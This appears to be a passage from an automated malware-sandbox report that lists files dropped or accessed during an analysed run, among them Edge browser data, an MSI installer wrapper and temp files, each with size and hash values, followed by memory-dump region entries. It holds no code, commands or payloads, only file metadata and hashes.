0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
d4d37e1309c50538d075436571b3ab35

SHA1
c57e86e4ada0ee74c1d72472889b63b4bcc9c367

SHA256
af25fc13f2a4f02a100b5cbb4fd16bdcdc6b69d3150a945eed35fd72ee62be25

SHA512
610df06e7d0e20734a4aa07b01d9bfe500eb065e33c5847b31f16d34c4f2a6ae98e9ad2c11a64de179cf725915b1ad0b0e3145c459d1b7e69f396f32c36d10e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\3aa38576-fb5b-4f20-9f83-8aef5a184502.msi

Filesize
2.1MB

MD5
c8c7e377611b06bf98d17c846945df3c

SHA1
92294a125dd1e8c3f69e5bfcf454f980f15ddb9f

SHA256
f8edc2c21a5e5ff3c91eb85ce8f706c1cc655e7c940e99d046e400932f8d6183

SHA512
97f19b47957d19eac2585945d32807df717f49012fb8cb39246212292258600971e510bf44e9fee29e55d84545056ac07b6b6a43ace2b8ad4bb7f1769eb3a7ca

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\files.cab

Filesize
1.8MB

MD5
c938fe0076583b3216934adf74b983e9

SHA1
efcea2278fe2a4ab891c604db4cba3e919fd31c3

SHA256
27c95e758b3c590c16e36e7ddf57e9c6c5e66d52ad7bc7b710f038b3777a18bf

SHA512
68de0882ea8e022218e9a21d375f0c4e28cd7ca3a54f7f8162fad917e2e505c6ffae0f4a1b029b5bf6ce68ea76f78ebbd5f33abcf93893a43912cb3c9ff479f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\msiwrapper.ini

Filesize
1KB

MD5
f1707230966b0f1d8002bd31805b95d8

SHA1
aaca5d1abe674df00650951b5f4cc9377a21c11a

SHA256
dc9789a8898a4c66536c34a71eaef42f2199ba7f3c0d8f51595b892b8e5ff17b

SHA512
09cbafaf65bb1bcbc8a1c5c4d035289785a7340fde1cba8102a00212149d12d976a918ca81d62d736a6c208e7549f15ea10f2c0b48249de991f9eb2f14873e0e

Download Submit
C:\Users\Admin\AppData\Local\Temp\MW-e252d2ae-946a-4e3d-90a5-276555c74d50\msiwrapper.ini

Filesize
1KB

MD5
91dda4890a6c808fbbfbf9be12b5358b

SHA1
274948bafd60e4c01510b6330467c6a88ee9ba20

SHA256
68f1e9027ddbaf8e6a5f99ace6e66ccf98e1918672a95049f863775b6e514a8f

SHA512
d0d7a6e709015848e8cdd5234ed67302b1175031075f710aa7ea174ade3c59a73ae0596ac1bf90d64289db5d92333ac33fa8e02631fcb6e86d666e46d896695b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxdmtrsj.irh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\Installer\MSIC9C8.tmp

Filesize
208KB

MD5
0c8921bbcc37c6efd34faf44cf3b0cb5

SHA1
dcfa71246157edcd09eecaf9d4c5e360b24b3e49

SHA256
fd622cf73ea951a6de631063aba856487d77745dd1500adca61902b8dde56fe1

SHA512
ed55443e20d40cca90596f0a0542fa5ab83fe0270399adfaafd172987fb813dfd44ec0da0a58c096af3641003f830341fe259ad5bce9823f238ae63b7e11e108

Download Submit
memory/1168-192-0x0000000005820000-0x0000000005886000-memory.dmp

Filesize
408KB

Download
memory/1168-217-0x00000000070E0000-0x00000000070FE000-memory.dmp

Filesize
120KB

Download
memory/1168-191-0x0000000005050000-0x0000000005072000-memory.dmp

Filesize
136KB

Download
memory/1168-188-0x00000000025D0000-0x0000000002606000-memory.dmp

Filesize
216KB

Download
memory/1168-193-0x0000000005900000-0x0000000005966000-memory.dmp

Filesize
408KB

Download
memory/1168-227-0x00000000074B0000-0x00000000074B8000-memory.dmp

Filesize
32KB

Download
memory/1168-203-0x0000000005970000-0x0000000005CC4000-memory.dmp

Filesize
3.3MB

Download
memory/1168-205-0x0000000005F20000-0x0000000005F6C000-memory.dmp

Filesize
304KB

Download
memory/1168-204-0x0000000005EE0000-0x0000000005EFE000-memory.dmp

Filesize
120KB

Download
memory/1168-206-0x00000000064E0000-0x0000000006512000-memory.dmp

Filesize
200KB

Download
memory/1168-207-0x000000006EDC0000-0x000000006EE0C000-memory.dmp

Filesize
304KB

Download
memory/1168-189-0x0000000005100000-0x0000000005728000-memory.dmp

Filesize
6.2MB

Download
memory/1168-218-0x0000000007100000-0x00000000071A3000-memory.dmp

Filesize
652KB

Download
memory/1168-219-0x0000000007890000-0x0000000007F0A000-memory.dmp

Filesize
6.5MB

Download
memory/1168-220-0x0000000007230000-0x000000000724A000-memory.dmp

Filesize
104KB

Download
memory/1168-221-0x0000000007290000-0x000000000729A000-memory.dmp

Filesize
40KB

Download
memory/1168-222-0x00000000074C0000-0x0000000007556000-memory.dmp

Filesize
600KB

Download
memory/1168-223-0x0000000007430000-0x0000000007441000-memory.dmp

Filesize
68KB

Download
memory/1168-224-0x0000000007470000-0x000000000747E000-memory.dmp

Filesize
56KB

Download
memory/1168-225-0x0000000007480000-0x0000000007494000-memory.dmp

Filesize
80KB

Download
memory/1168-226-0x0000000007560000-0x000000000757A000-memory.dmp

Filesize
104KB

Download
memory/3016-183-0x0000000010000000-0x0000000010738000-memory.dmp

Filesize
7.2MB

Download